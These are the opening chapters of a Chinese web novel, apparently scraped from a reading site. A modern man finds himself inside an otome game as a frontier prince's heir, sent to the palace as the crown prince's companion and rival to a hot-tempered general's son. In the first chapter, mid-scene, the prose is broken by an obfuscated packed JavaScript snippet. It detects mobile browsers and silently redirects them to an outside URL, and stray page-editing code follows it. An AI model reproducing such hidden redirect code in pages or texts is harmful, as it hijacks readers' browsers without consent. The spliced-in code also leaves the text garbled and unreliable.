《穿成乙游路人但男主别来沾边啊》 1. 本世子进宫 几年前,我叫姜弄珏。 我是为人民服务的小老板。 现在,我叫江弄玦。 并非因为家庭不和要改名,也不是因为入赘要随妻姓。 而是喜闻乐见的穿越梗成真了。 江弄玦眺望着眼前逐渐放大的红色宫门,脑中自动播放着烟花炸开的场景,红色的横幅缓缓展开,写着几个大字—— 恭喜进入正式游戏场景。 开玩笑的,穿越根本没有系统,没有指南,只有从老妹那记来的—— 《女相》男主简介。 哈哈哈哈哈哈! 还好他记性好! 所以,当江弄玦穿越过来后听到几个熟悉的名字后,一下就知道自己穿到哪来了。 他穿越到了一个乙游了! 关键在于,具体情节他根!本!不!知!道! 不多的回忆里,他老妹是这样说的。 “这游戏可好玩了,最后我还能当宰相呢!” “我要愿意的话,说不定还能把皇帝踹了自己当皇上。” 当时的他不以为然,只是社畜道:“你先替我当当这个老板吧小姐姐。” 然后在老妹的不语中,他随意地看了看男主简介。 皇帝,宰相,将军,刺客,可以说是属性各不相同,各有各的好吃。 但“江弄玦”不在其中。 即,他是个配角。 发现自己穿越进乙游后,他尝试搞清楚自己的身份。 然后发现,他可能就是个跑龙套。 镇北王江意垢遗失的、唯一的儿子。 这种人设竟然一次都没从老妹嘴里蹦出来过,多半这人就没登场吧。 当时的江弄玦根据角色们现在的年龄,估测自己应该提前了十多年穿越过来。 考虑到自己正处于乙游的舞台之外,江弄玦摆烂了。 说是摆烂,其实是和镇北王妃斗智斗勇来着。 因为,江弄玦并非镇北王妃亲生,而是镇北王在外当渣男的产物。当年他重伤在外,被江弄玦的母亲林苏柠所救。镇北王与林苏柠日久生情,私定终生后便一去不回。 哈哈。 江弄玦想,娘嘞要不是镇北王是个渣男,苏柠意垢还挺配。 话说回来,林苏柠虽是县令之女,却也因这段往事与未婚生子的身份,常年饱受非议,郁郁寡欢。唯因她容色实在太过出众,关于她与那个神秘私生子的传闻,始终是坊间经久不衰的谈资。 时年近不惑、府中却仍无一子的镇北王江逸垢,偶然听得这桩陈年旧闻与那孩子的年岁,尘封的记忆骤然翻涌,遂立刻派人暗访,旋即亲赴林府。 当那个身量未足、眉眼间却已隐约可见自己年轻时三分轮廓的少年被带到面前时,镇北王心中再无怀疑。血脉的确认与对王府继承人的迫切,压倒了一切。他几乎是雷霆般地将江弄玦认回,并执意将林苏柠一同接入王府,安置在侧院。 江弄玦,便是在这身份骤变、府中暗流汹涌之际,穿越而来的。 作为镇北王眼下唯一的子嗣,他一回王府便即刻被赋予了世子应有的名分与待遇。但这无疑会刺痛多年来无所出的镇北王妃。 镇北王妃自然不会允许一个外室女子母凭子贵。于是,王妃以“嫡母教养、合乎礼法”为由,强硬地将江弄玦要到了自己膝下抚养。 继承了原主记忆与情感的江弄玦,心系生母,自然不愿顺从。王府深宅之内,二人为此争斗了近半年。 然而,或许是因为前半生积郁太深,心疾难医,林苏柠入王府不过半年,便在一個萧索的秋日里悄然病逝。 她走得安静,仿佛一片过早凋零的叶子,未曾惊动太多人,只留给江弄玦失去亲人的冰冷现实。 这年,十一岁的江弄玦丧母之痛未平,京城的圣旨已携着不容违逆的天威,抵达北疆。皇帝命镇北王世子即刻入京,为太子伴读。 旨意中满是“天家恩典”、“提携后进”的堂皇辞令,但无论是江弄玦,还是镇北王与王妃,都心知肚明——这是质子。 镇北王手握北疆三十万铁骑,戍边二十余载,声名远扬。皇帝对他这位突然“寻回”的长子,如何能不忌惮? 能将江弄玦在王府暗中养护半年,已属镇北王力之所及的极限。如今圣旨既下,纵有万般不舍与忧虑,他也只能亲自将儿子送上前往京城的马车。 于是,时间的洪流,便将江弄玦推到了此刻。 自北疆出发,过了一个多月,江弄玦终于来到了皇宫门前。 尽管万般不情愿,江弄玦也无法抗旨。 这下好了,就这样踏入了乙游的舞台中心,还要跟太子兄弟打交道。 江弄玦暗叹了第不知道多少口气,跟在马车旁的书童竹子不禁探头,小声关切道:“世子,可是身上还不爽利?路途颠簸,您若是累了,咱们慢些走也无妨的。” “无碍,只是坐得久了些。”江弄玦摆了摆手,随口吩咐,“待会安顿下来,让桃子去寻些山楂糕来开开胃吧。” “是。”竹子应声退下。 江弄玦的思绪重新沉回方才的盘算中。 伴读期间,必是要跟各路人马打交道。只是以他现在的身份,没人来刁难他就算不错了,主动结交更是要慎之又慎。 回忆镇北王临行前给他补习的重要人物和自己穿越前记住的游戏简介,需要谨慎接触的有这么几位。 一是重重之重的太子江醉玉。 皇帝嫡长子,陆皇后独子,其舅陆相有从龙之功。传闻中更是天资卓绝,文韬武略俱佳,乃朝野公认的、无可挑剔的储君。 更重要的是,老妹曾锐评:“四个男主里,江醉玉是难度最高的——大冰山,工作狂,心里除了江山社稷大概没别的。” 那江弄玦不由得心生敬意。工作狂这词,他老妹还没用来形容过他呢,可见江醉玉未来当上皇帝之后有多卷了。 第二个关注重点就是李国公府的二公子,李辞禅。 未来的护国将军,游戏男主之一。其父李都督当年为国捐躯,追封国公。而后李大公子子承父业,已是都督同知,深得帝心。 身为忠烈之后,又得兄长荫庇,李辞禅亦在太子伴读之列。因是家中幼子,自幼备受宠爱。除了长兄略有约束,可谓肆意乖张,行事跳脱,疯起来谁也摸不准脉络。 此外,还需留意吏部尚书林家的一双儿女,以及那个门生遍布朝野的云家…… 脑中名单堪堪理清,马车也已停稳。 江弄玦在竹子、桃子及一众指派宫人的簇拥下,踏入临时安置的宫苑。 毕竟只是伴读暂居,院落不算轩敞,但胜在清净整洁。众人手脚利落,很快便将行装归置妥当。 江弄玦刚换了身轻便常服,正欲歇口气,殿门外便传来细碎的脚步声与环佩轻响。 两名身着宫装的年轻女子盈盈而入,容貌俏丽,举止得体,向江弄玦款款行礼。 为首的宫女面容大气舒朗,道清了来意: “世子殿下可还满意这撷玉轩?皇后娘娘记得今儿个殿下应当是到了,特意嘱托我来确认一下,世子殿下这置办的物件是不是齐全?” 江弄玦笑道:“多谢姑姑。劳您回复皇后娘娘,弄玦一切都好。这撷玉轩十分雅致,器物一切妥帖,谢皇后娘娘费心安排了。” 然后向桃子一打手势:“这包是北疆的霜糖,用来润喉。二位姑姑若不嫌弃,不妨收下,临近秋天,嗓子难免不适,口干含一颗也便宜。” “另外劳您转告皇后娘娘,今日弄玦风尘仆仆而来,难免不甚整洁,待明日穿戴妥当后再去拜谒娘娘,方不失礼数。” 宫女颔首笑着收下了桃子呈上的糖盒,回道:“奴婢定当转达。每日各位小殿下晨读之前,娘娘便会诵经。殿下那时来即可。” 送走二位宫女后,桃子星星眼道:“殿下,好生厉害。初来乍到,面对皇后娘娘的侍女都能这么熟稔。” 竹子哼了一声:“那是自然!” 江弄玦憋不住大笑两声,催着他们继续去干活去了。 次日,江弄玦早早便领着竹子来到了皇后的凤鸾殿。 见到昨日的宫女,江弄玦爽朗道:“沉壁姑姑来得这样早,一路辛苦?” 沉壁有些惊讶,随即笑答:“见过世子殿下。往常都是这个点出来的,倒是没想到殿下会来得这般早。奴婢这便去禀报皇后。” 没多久,昨日见的另一宫女含光过来将他带入殿中。 彼时陆皇后整在啜茶,见他来缓缓放下茶杯,神色平淡。 陆皇后姿容端庄,年仅三十,脸上没有化妆,却仍然艳丽得惊人。 江弄玦行礼:“拜见皇后娘娘。” “不必多礼。远道而来,辛苦了。”陆皇后摆了摆手,沉壁上前奉茶。 “谢娘娘。”江弄玦起身,接过茶后喝了一口便放下,脆生生道,“娘娘这茶不错,澄澈见底,不见浮沫。” 陆皇后轻一挑眉,眼皮也随之上掀。 “看来弄玦甚是喜欢,本宫也放心了。本来还担心,匆忙自北疆而来,可会有什么不适应的地方。” 江弄玦努力让脸上的肌肉堆出一个孩童的笑:“谢娘娘的关心。昨日吃得香睡得好,今日起床也不赖床了。” 希望陆皇后能吃小孩子那一套。 江弄玦默默想。 她应该是最不希望江弄玦是个聪慧能干的人了。毕竟他要是太聪明,太子以后就不好料理他这个潜在的政治隐患。 “呵呵,”陆皇后轻笑一下,“那便好了。玉儿那孩子身边最缺你这样的孩子,瞧着便让人开心。” 听完这话,江弄玦看着陆皇后的笑容,不禁打了个寒颤。 亲娘,装小孩这业务比应对甲方还累。 随后嘱托几句后,陆皇后便放走他了。 大早上跟貌美的老狐狸过了两招,让他仿佛回到了北疆每天早上跟镇北王妃阴阳怪气两下的日子。 作为大脑风暴的热身操真是再合适不过了。想到待会还要应对一群小朋友是,可真糟心啊。 两人踏着太阳透出的微弱晨辉来到了东宫。 “世子,咱们是不是来得太早了?”竹子隔着门,看见平日上课的藏晖阁里面只点着几盏灯,没有人的样子。 江弄玦背着手,无所谓道:“无妨,你去偏殿歇一阵,我先去看看。” 说着,便头也不回地进去了。 竹子无语哽咽,看了看背后路过的巡逻兵,想着还是外面更有人气,索性就蹲在偏殿的门口等了起来。 这边江弄玦进去后顺着微弱的灯光,看清了正中间的学堂。 其中第一排靠左的书案上已经摊开了几本书,旁边摆着文房四宝。 再抬眼,环绕四周的是层层叠叠的书架,二楼和三楼都是中空的,可以自上而下看到中间的学堂。 来到古代这么久,江弄玦还是第一次见到这么大的……书房吧这是?这算课堂吗? 总之,好奇之下,他开始自动探索。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515970|203193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他沿着走廊,越过几个书架,不断地扫视上面摆放的书籍,也随着视线扫过书脊上的大字默读起来。 《政典》,《制胜方略》……死正经,死正经。 还有《江湖异闻录》《异域妆奁谱》《驯禽古法》? 江湖八卦,美妆速成,驯兽师养成记? 还有这么有乐子的东西呢? 这下高低我得看看—— “啊!” 光顾着看字的江弄玦迎面撞上了个软软的物体,哦准确说是个人,还给自己撞得后退两步、眼冒金星。 还好对方反应及时,拉了他的胳膊一下,否则江弄玦就得倒在地上了。 江弄玦缓了几秒,这才看向对方。 因为对方比他高半个头,他只能看见对方的锁骨处。 黑暗中随着火光折射变换的昂贵丝线如金子一般闪着光,在杏黄色的绸缎上不要钱似得连成一片花纹。 等,江弄玦退了一步,等等。 将那花纹看全,才发现, 那不是只张牙舞爪的蟒吗? ——! “拜见太子殿下。多有冒犯,还请太子殿下恕罪!” 几乎是瞬间滑跪,行动快于思考的江弄玦不敢再看对方。 除却冒犯太子的畏惧,江弄玦心中更在吐槽—— 不是,这么早就来藏晖阁,太子这是卷疯了吧?外面摊开的书是太子的?那他是从什么时候在这学习的? 一边吓得一哆嗦,一边吐槽着,江弄玦对原本的敬畏再次提升了一个档次。 一个少年的声音如玉石相碰般从头上方传来,带着一丝属于晨间的沙哑,在周围一片寂静时清晰入耳。 “无妨。” 话音落下,又是片刻的安静。江弄玦能感受到少年的视线在自己的脊背上巡视,随后耳边传来衣料摩挲的细微声响——大约是太子在检查手里的书有没有收到波及。 江弄玦正斟酌着如何是好时,又听到那声音道:“起身吧。” 听到这句,江弄玦悬着的心这才落下来。 “谢殿下。” “不曾见过你。你是哪家的?”少年的声音依旧如玉石般清冷通透,只是带了些探究。 “回殿下。臣镇北王世子,江弄玦。” “江弄……” 听到对方的停顿,江弄玦下意识抬头,方才意识到自己是第一次看清对方的脸。 暧昧的烛火下,少年白的肤、黑的眉眼、红的唇却越发清晰,犹如画中的精怪走入现实。只是这精怪看着如千山落雪,浑身都透着一股淡漠寒凉,仿佛他吐出的气息应当都是冰冷的。 看清的一瞬间,江弄玦像是眼睛被烫到了一样,下意识就想挪开视线。 正当此时,对方望了过来,微微垂下眼睫:“玦,有缺口的佩玉?” 江弄玦硬着头皮,直面那美人的问题:“是的。” 江醉玉点了点头,又轻轻落下一句:“下次,莫要这般莽撞了。” 说完,他便转身走向第一排靠左的书案后,重新执起朱笔。 江弄玦沉默片刻,也拿了几本刚才在意的书,回到学堂中间,寻了一处坐下。 他下意识又看了一眼江醉玉,只见那人坐姿端正,晨光勾勒着他的背影,杏黄蟒袍上的金线在光下流淌,像个仙僮一样。 我c。牛x。 江弄玦面无表情。 这就是乙游男主吗?他见了那么多娱乐圈明星和夜场的人,头一次见到这种能让他自残形愧的。 不是,能长这么牛x? 除了无能狂怒之外,他还有点后怕。 还好太子不是什么熊孩子,这要是因此挨上几个大板子,江弄玦也没法逃。 逐渐脱离了偶遇太子的震惊状态后,江弄玦也逐渐回归到了书本上。 过了不到半个时辰,学堂逐渐热闹起来。 江弄玦合上书本,默默在心里对起人头来。 江醉玉旁边是林知尘,再旁边是…… 就在这时,一道声音传来:“你是那个镇北王找回来的儿子?” 尽管江弄玦预测到他的出现会引起一些人的讨论,却没想到有些小朋友会来跟他中门对狙。 江弄玦撇了眼来人——是个表情极其嚣张的小胖子和一个同样表情欠揍的瘦干狼小瘦子,二人长得有几分相似,应该是一家人。 五官如黄油般划开,看不清脸,这是什么恶人组标配吗? “你没听见吗?本世子问你话呢!” 江弄玦仿佛走剧情一样,如梦初醒地四周张望一下,才看见他们似的恍然大悟道:“啊,抱歉,刚才没听见。” 小胖子约莫十二的样子,当时就要发作:“你分明听见了!”他上前一步,几乎要杵到江弄玦案前。 四周传来桌椅挪动和窃窃私语的声音。 江弄玦能确定,周围的人都在观望。 这是他进入京城权贵子弟们的首戏,接下来的表现将决定了他未来的人设。 那么,镇北王世子应该是什么人设?江弄玦这个人应该表现成什么样,才能平安地度过这段日子呢? 关于这些问题,江弄玦早有答案了。 纨绔武夫! 纨绔武夫人设,不能输气势,也不能结死仇。那么…… 江弄玦脸上那点“困惑”瞬间收起,取而代之的是一种混合着野性和漫不经心的笑。 “哦,”他声音拉长,带着点熟稔。 “原来是你啊——” 2. 本世子开演 江弄玦眨了眨眼睛,他拖长了调子,恍然大悟般地一拍手,声音清亮,带着一种近乎天真的直率,瞬间吸引了更多目光。 “我想起来了!这位公子气度不凡,莫不是……辅国公府上的哪位小公爷?” 他刻意点出“辅国公”,此话一出,小胖子脸色稍霁,正要得意地挺起胸膛—— 却见江弄玦挠了挠头,脸上露出恰到好处的困惑和歉意,话锋一转: “哎呀,瞧我这记性。流落在外多年,这满京城的贵人,真是记不住脸。只隐约听说辅国公家风严谨,子弟个个知书达理。” “兄台方才嗓门洪亮,气势迫人,应该……不是吧?” 他语气真诚,眼神“无辜”,仿佛真心在求证。 “噗——”旁边有几人没忍住,接连低笑出声。 这话毒啊! 小胖子被他这一套组合拳打懵了,脸一阵红一阵白。 承认自己是辅国公家的?可对方明褒暗贬,自己刚才的行为确实不像“知书达理”。 不承认?那自己刚才摆的“世子”架子算什么? 江弄玦却不再看他,转而对着旁边一直没吭声、但眼神更阴的瘦子,同样诚恳发问:“这位兄台器宇轩昂,想必也出身名门?不知是……” 他话音刚落,那瘦子的脸色就彻底阴沉下来。小胖子则气得脸都涨成了猪肝色,拳头都攥紧了。 “你、你竟敢……” 就在小胖子被江弄玦的话噎住,恼羞成怒真要挥拳的瞬间—— “砰!” 一声闷响,一个沉甸甸的镶铜边紫檀木笔筒,擦着小胖子的耳廓,狠狠砸在了他面前的案几上。笔筒里上好的狼毫笔和墨锭滚了一地,墨汁溅上了小胖子昂贵的锦袍下摆。 “吵死了。” 一个比在场少年们都略显低沉、带着刚变声期特有沙哑的嗓音响起,不耐烦至极。 当事人和围观者们都惊愕转向说话人。 只见后排靠窗的位置,一个身穿玄色窄袖劲装的少年,正慢条斯理地收回扔笔筒的手。 他浓眉杏眼,几缕不受管束的碎发垂落在眉尾,皮肤是常年习武的小麦色,在一众少年当中极为打眼。此刻他皱着眉,嘴角下撇,眼神里是毫不掩饰的戾气,使那本来精致无害的五官多出几分锋利,像一头被聒噪声吵醒的狼。 不必多言,江弄玦立刻对应上了这是谁。 李辞禅。 江弄玦默默观察,童颜体育生,以后包帅的。 李辞禅今早来迟了些,本在靠窗位置补觉,却被这边的动静彻底吵得越发烦躁。 小胖子看清来人,气焰顿时萎了一半,但面子上过不去,还是梗着脖子道:“李、李辞禅!你干什么!我们……” “你们太吵。” 李辞禅打断他,甚至没看江弄玦一眼,仿佛这边争执的双方在他眼里都是噪音源。 “要打出去打,别在这儿碍眼。”他语气平淡,却带着一种天生的、属于将门的压迫感。 瘦干狼悄悄拉小胖子的袖子,低声道:“算了,表弟。” 小胖子脸色变幻,最终狠狠剜了江弄玦一眼,又忌惮地看了看李辞禅,色厉内荏地嘟囔。 “……晦气!” 说罢便跟瘦干狼一起捡文具。 江弄玦全程目睹,心中默默点评:李辞禅,脾气极差,行事全凭心情,是个不好惹的刺头。 他正想着要不要道个谢,却见李辞禅解决完噪音源,抬了抬眼皮,视线落在江弄玦身上。 那眼神里没有善意,也没有恶意,只有一种纯粹的、打量陌生物件般的审视,还带着点未散的烦躁。他上下看了江弄玦两秒,似乎觉得这人也有点碍事,但勉强没刚才那两个吵,于是又埋头伏在了桌面上。 江弄玦吸了口气,看周围看戏的人都各回位置,也收拾起了自己的书案。 可惜,由于刚才的风波,无人敢坐在他的旁边。 最前桌的林知尘微微回头,向旁边的太子笑道:“真有意思。” 江醉玉只是眼珠动了动,看了他一眼,随后又落回书案。 他将书页边缘一个细微的折角徐徐抹平,回道:“心窍太多,” 然后微不可察地停顿一下, “可惜了。” 林知尘沉吟,不知从这句话里品出了什么复杂况味,笑意深长。 “难得殿下会这样评价一个人——” 虽还想说些什么,却见夫子向学堂走来,便也敛了神色,端正坐好。 今日的夫子并非太傅,却也是个严厉的老头头。老头头讲起话来头头是道,只是弯弯绕绕太多,听的人难免觉得无趣空泛。 好歹课上再没出什么乱子,第一堂课的一个时辰很快便过去了。 课间一炷香的功夫休息,江弄玦也不管正准备同窗如何,抬腿就去偏殿找小竹子。 刚到门口,江弄玦就看到小竹子提着个饭盒在等他了。 眼见江弄玦出现,小竹子死气沉沉的脸上陡然焕发出活力—— “世——子!” 江弄玦:? 他扯了扯嘴角,有些憋不住笑:“这是噗……怎么了?” “太困了!世子的夫子讲课时,那念经声都能传到偏殿来。我没听一会就要昏睡过去了。” “怕自己睡着,我想着动活动活,回去取了些点心,想着您别饿着。毕竟离午时用膳还有一会……您吃慢点!” 不等竹子一通话说完,江弄玦就已经抢过饭盒盖,拿着一块点心往嘴里送了。 竹子余光撇到同样出来透风的学子们,不禁汗颜:“世子,怎么在外面还吃成这样,您在府上也不是这么个吃相啊……哎!世子你听我说啊!” 江弄玦一只手替竹子拎起饭盒,走向回廊的廊凳,任凭竹子跟在后面叭叭。 好不容易吃完一块点心,江弄玦叹了口气:“竹子啊,你比桃子还像我娘啊。” 竹子嘿嘿笑了两下:“小的哪敢嘿嘿,哎哟!” 竹子脑门接了江弄玦一个暴栗,开始哎哟哎哟地喊痛,但嘴上还是没忘了提醒江弄玦吃相。 江弄玦心里正白眼呢,他装成这幅吃相也很噎嗓子的好吗? 此时,远远传来女子的声音。 “哥哥,” 江弄玦就着嘴里的糕点,顺势眺望。 远远只见一个身条纤细,装扮华贵的少女带着侍女而来。虽然远,却不难看出那少女面容清丽,已初见美人模样,引得周围的学子不时投去欣赏的视线。 林知尘有些意外,与江醉玉对视一眼,两人一同上前。 林倾颜笑容灵动,但目光触及江醉玉时还是有所收敛。 她行了个礼:“见过太子殿下。” “免礼。” 林知尘笑得意有所指,凑上前去问:“今日怎么来找我了?别又说什么母亲让你送东西。” 林倾颜笑容不变,余光见江醉玉没有反应,一只手暗暗地来到林知尘腰间狠狠一拧。 “哎呀,哥哥真是的。还不是今日玉颜忘带你的糕点了,被我看见了,只好给你送过来了。” 林知尘挤出一个笑容,咬牙道:“那还真是谢谢你了。” “做妹妹的,应当的。”林倾颜心满意足地收回手,从侍女的食盒中取出一个精致的小盒递给了林知尘。 她又取出一盒糕点,笑容明媚地对江醉玉道:“殿下,这是府上小厨房新研制的荔枝糕,清甜爽口,还请殿下尝尝。” 江醉玉颔首:“有劳。”他身侧的内侍随后恭敬上前接过糕点盒。 林倾颜点点头,似乎早已习惯江醉玉平淡的风格,又和林知尘低声说了两句,才笑着行礼告辞。 江弄玦咽下最后一块点心,拍了拍手里的点心渣,望着林倾颜秀美的背影,心里开始琢磨。 林知尘的妹妹,林倾颜。乙游里的女配之一,也是未来的皇后。 这个时间点,她应当还没与太子定亲。看她谨慎的态度,与其说想亲近太子,不如说是借机在观察。 没等江弄玦想明白,示意课间结束的钟声便响起了。 第二堂课依旧是那位老头头,讲课的内容愈发枯燥。江弄玦表面上还在听课,实际上已经在盘算着下午的武课了。 终于熬过艰难的上午,来到了下午的武课,江弄玦颇有种要撒欢的感觉。 穿越前他就是个爱运动的人,只不过大学毕业以后太忙,他的运动爱好就搁置了。 穿越到古代,被带回镇北王府,可以在武课上练习各种好玩的运动后,他越练越开心,变成他的解压方式了。就连镇北王的心腹们都夸,这真是镇北王的亲儿子。 这次武课的内容先是射箭再是搏击。 学生们换号装后,依次上前,瞄准三十步远的箭靶,一人射三箭。 大部分人表现的参差不齐。哪怕有些将门出身的公子,也只能做到勉强上靶。而文官出身的孩子大多都是脱靶。 “太子殿下,请。” 轮到江醉玉时,江弄玦一改七扭八斜的站姿,聚精会神地站直了。 因为,江醉玉光从气势上就与他人不同。 举臂、搭箭、拉弓—— 一箭中靶。 每一步都极其标准,如同教科书一般赏心悦目。 同窗们不禁喊好,江弄玦也不得鼓掌点头。 三箭,一箭上靶,两箭靶心,确实厉害。 夫子神情欣慰地点头:“不错,殿下。又有提升。” 江醉玉收手,点了点头:“夫子教得好。” 接下来又上了几位武将之子后,轮到了林知尘。 神奇的是,这位出身文官的大少爷竟然中靶两箭。 江弄玦认可地鼓掌,恰好与下来的林知尘对上视线。 林知尘挑眉笑道:“早有耳闻世子擅长骑射,待会便能开开眼了。” 江弄玦:为什么跟我说话? 正当他还有些一头雾水时,李辞禅擦肩而过。恰好听到林知尘这一眼,对方瞥了他一眼。 来不及观察李辞禅,江弄玦笑着回答道: “哪有。我回王府不久,纵使拼命练习箭法,父王见了也总止不住叹气啊。” 两人说笑之时,李辞禅已然搭箭拉弓—— “好准!” “无论看几次还是要惊叹啊。” “好!”“真是……每次看都吓一跳。” 周围的低呼让江弄玦下意识转头。 只见李辞禅已收弓而立,靶心上三支箭呈品字形钉死,最后一支的箭镞更是精准劈开了前一支的箭尾,木屑微微崩开。 林知尘不 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江弄玦侧身,搭箭,扣弦。姿态并不像李辞禅那般充满爆发性的张力,甚至有些随意,仿佛只是随手提起一件熟悉的物件。 弓弦绷紧,背肌舒展,力量如溪流般沉静汇入指尖。 ——呼气 调整角度,然后, “嗖——!” 箭矢破空,尾羽轻颤,箭镞深深咬入红心,箭杆因余力微微震动。 场边传来几声压低的抽气。 江弄玦恍若未闻,再次搭箭。 动作流畅,不见丝毫滞涩。 吸气, 呼气。 “嗖——!” 第二箭,紧挨着第一箭,再次钉入靶心。 议论声开始如潮水般漫开。连一直抱臂旁观的李辞禅,都稍稍站直了身体,眼神里那点漫不经心的审视褪去,取而代之的是越发锐利的探究。 吸气, 呼气。 差不多了,该—— 这一次,他的动作似乎比前两次更快,少了一分刻意的控制,多了一丝随性的流畅。 松弦。 “簌——!” 箭矢离弦,却偏得离谱,擦着箭靶边缘飞过,远远扎进了后面的草垛里。 江弄玦放下活动开的手臂,眺望战果。 两箭靶心,一箭脱靶。 在其他人尚未反应过来时,夫子略带赞许地沉声道:“前两箭,力透箭靶,落点精准,非数年苦功不可得。” 他顿了顿,目光落在正垂手而立的江弄玦身上,话锋陡然一转:“然则,第三箭形神俱散,可见根基未稳,心性不定。” “世子殿下,你可知,沙场对决,敌人只会给你一次机会?” 在喧哗的议论声里,混杂着惊叹、嘲讽、了然等等声音。 江弄玦没去多关心背景音,面对夫子的评价,只是正色道:“多谢夫子指点,弄玦还需努力。” 林知尘低声对身旁的江醉玉道:“太子殿下,现在如何呢?” 江醉玉瞥了他一眼,又遥遥望了一眼江弄玦。那少年眉目疏朗,丝毫没有心事的模样,利索地向原来的站位走去,看着赏心悦目。 他平心而论:“收敛得当,尚算明智。” 下场回到自己原来的位置,江弄玦却见李辞禅挡在了自己面前。 江弄玦挑眉,扬起了一个皮笑肉不笑的表情:“李二公子。” 李辞禅见他笑得官方,不禁一蹙眉,有些嫌弃,但随后顺展眉头:“你练了多久?” 江弄玦沉默一下,知道李辞禅这人心性直来直去,没有什么弯弯绕绕,所幸便直爽道:“半年。” 其实算上穿越前的话怎么说也得十多年了。 李辞禅很明显地一怔,随后上下打量着江弄玦。 “半年?”他重复了一遍,“刚才那两箭的力道和稳劲,半年?你当我傻子?” 江弄玦心里暗道,男主果然是不好糊弄。 他连忙补充,语气带上几分真挚:“之前在县里也找过退伍的士兵当过师父。回王府后,父王请的教习师傅说我路子太野,一直在纠正我的姿势……反倒有些束手束脚了。” 李辞禅听完,眼中的质疑并未完全消失,但那股“你耍我”的怒气倒是散了些。 他盯着江弄玦,目光如刀子一样刮过江弄玦的臂膀,似乎在通过他身体的强度来判断这番话的可信度。 退伍老兵教的野路子……这倒是有可能。那种刀口舔血下来的人,教的往往就是最直接、最实用的杀人技,不重姿势,只重效果。 至于那第三箭为什么射得那么“恰好”地脱靶……李辞禅不蠢。 镇北王世子来当伴读,太耀眼或太差都麻烦。他懒得戳穿这种心照不宣的隐瞒。 见李辞禅神色渐缓,江弄玦刚要松口气,就听到: “你的老兵师父还教过你什么?” 李辞禅唇角扯出一个带有侵略性的、极为锋利的笑。 他上前半步,微微倾身,那带着刚变声期沙哑的嗓音压低,却清晰无比地砸进江弄玦耳里: “——比如,怎么徒手把人撂倒?” 3. 本世子哄孩子 面对少年的挑衅,江弄玦那三十多岁成年人的芯子是不可能被惹火的,甚至有点想笑。 第弟,社交距离懂不懂? 他叹了口气,伸手揉了揉后颈,不着痕迹地向后退了半步。 “自然是学过。”他语气平淡,仿佛在讨论今天的天气,“李二公子,待人一直都这么……” 由于一时想不出什么形容词,江弄玦竟被自己噎住了。 “热情”?“直率”?好像都不太对。 准确来说有些异常。毕竟李辞禅成长于将门世家,不可能不懂身为镇北王世子在政治上的敏感性,哪怕江弄玦他本人确实武艺高强到值得与之较量,李辞禅也不应该有这种反应。 等等,为什么那么像他以前表妹家的熊孩子呢? 李辞禅看着他卡壳的样子,非但没有不耐,反而像是发现了什么有趣的反应,那双大大的眼睛微眯,露出了一个近乎恶劣的笑容。 他又往前蹭了半步,几乎要恢复到刚才的距离,微微歪头,追问: “一直都这么什么?说啊。” 他那双黑沉沉的眼睛里,此刻清晰地映出江弄玦略显无奈的脸,眼神亮得惊人,混合着纯粹的探究、挑衅,和一种发现新玩具般的兴致勃勃。 江弄玦被他这不依不饶的追问弄得有点头疼。 他算是看出来了,这位小爷根本不通寻常人情世故的弯绕,或者通了也懒得理,行事全凭本心,此刻的本心就是——你得陪我玩。 “一直都这么,”江弄玦懒得哄他,知道处理这种疯孩子就应该直来直去,于是同样露出了挑衅的笑意,“执着于一较高下。” “你觉得你能在我手下过几招?”李辞禅像是听到什么很好笑的事一样,冷笑几声,吓得旁边的学子连忙远离这二人的修罗场。 笑够了,似是对江弄玦脸上的不以为意感到不爽似的,那如漆的剑眉一压。 “行啊。如果你受得住的话。” 江弄玦轻笑一下,落在李辞禅眼里不亚于一种挑衅。 所幸对于其他人来说,在接下来的搏击练习中可以避免成为李辞禅的对手,可真是一件大好事。 至于李辞禅和江弄玦练习时的过程则无需赘述—— 江弄玦败了。 甚至由于他的挑衅,李辞禅下手更狠了。 最终,他以一个近乎绞杀的技巧被李辞禅锁住,只得拍地认输。 两人分开之时都浑身是汗,大口喘气。 当李辞禅一把将他拉起来时,江弄玦并不意外。 自己已经用尽全力了,李辞禅要还不满意,他也是真没招了。 “你还算有两下。”李辞禅已逐渐平复呼吸,垂眸看着正在揉肩膀的江弄玦,“后天继续?” 江弄玦正龇牙咧嘴着呢,被这么一问,想也不想地回道:“哈——这算固定搭伴吗?” 李辞禅一愣,眯起眼睛,笑得自傲又潇洒。 “你能跟得上的话。” 跟得上的话,吗。 能当李辞禅的对手,肯定会挨最毒的打。但相对的,他的武艺水准肯定能提升得极快。 这件事肯定会引起宫里人的注意。但挨最毒的打,换顶级的功夫,这买卖不亏。至于宫里那些眼睛……兵来将挡,总比将来刀架脖子上时手无缚鸡之力强。 李辞禅见江弄玦没有回话,便也没再等他,转身而去时,背后忽然传来: “一言为定。” 闻言李辞禅没有回头,只是满意地笑了一下。 当晚,竹子破防了。 他没想到来皇宫伴读的第一天,他家世子就被揍得浑身是伤。 “世子,那李二欺人太甚!” 竹子喋喋不休,手上动作不停。 “再怎么说您也是皇族他是臣子,他怎么能这样!” 江弄玦耳朵都磨出茧子了,比了一个“嘘”的手势:“你消停消停,这不算大事。” “世!子!” 江弄玦由着他念叨,心思却已飘到了后天的武课上。 好在第二日没有武课了,下午上的是其他六艺的内容。 散学后也没事可做,江弄玦便留在了藏晖阁。 只是没多久,就遇上了下午休息后回来的江醉玉。 “见过太子殿下。” “免礼。” 正当江弄玦琢磨该用什么态度对待江醉玉时,就听江醉玉问:“身上的伤可还打紧?” 只见少年身着藏青色蟒袍,凤眼低垂,正沉静地望着他。 “啊,”江弄玦低头,快速将袖口往下拉了拉,盖住腕间绷带,抬头时脸上已换上轻松的笑意,“回殿下,并无大碍。 江醉玉并未深究他的动作,只平淡道:“若不愿,便拒了他。” 也许是窗棂透入的夕阳太过柔和,稀释了少年太子周身的清冷,江弄玦紧绷的神经松了松,语气里便带上了几分自然的轻快: 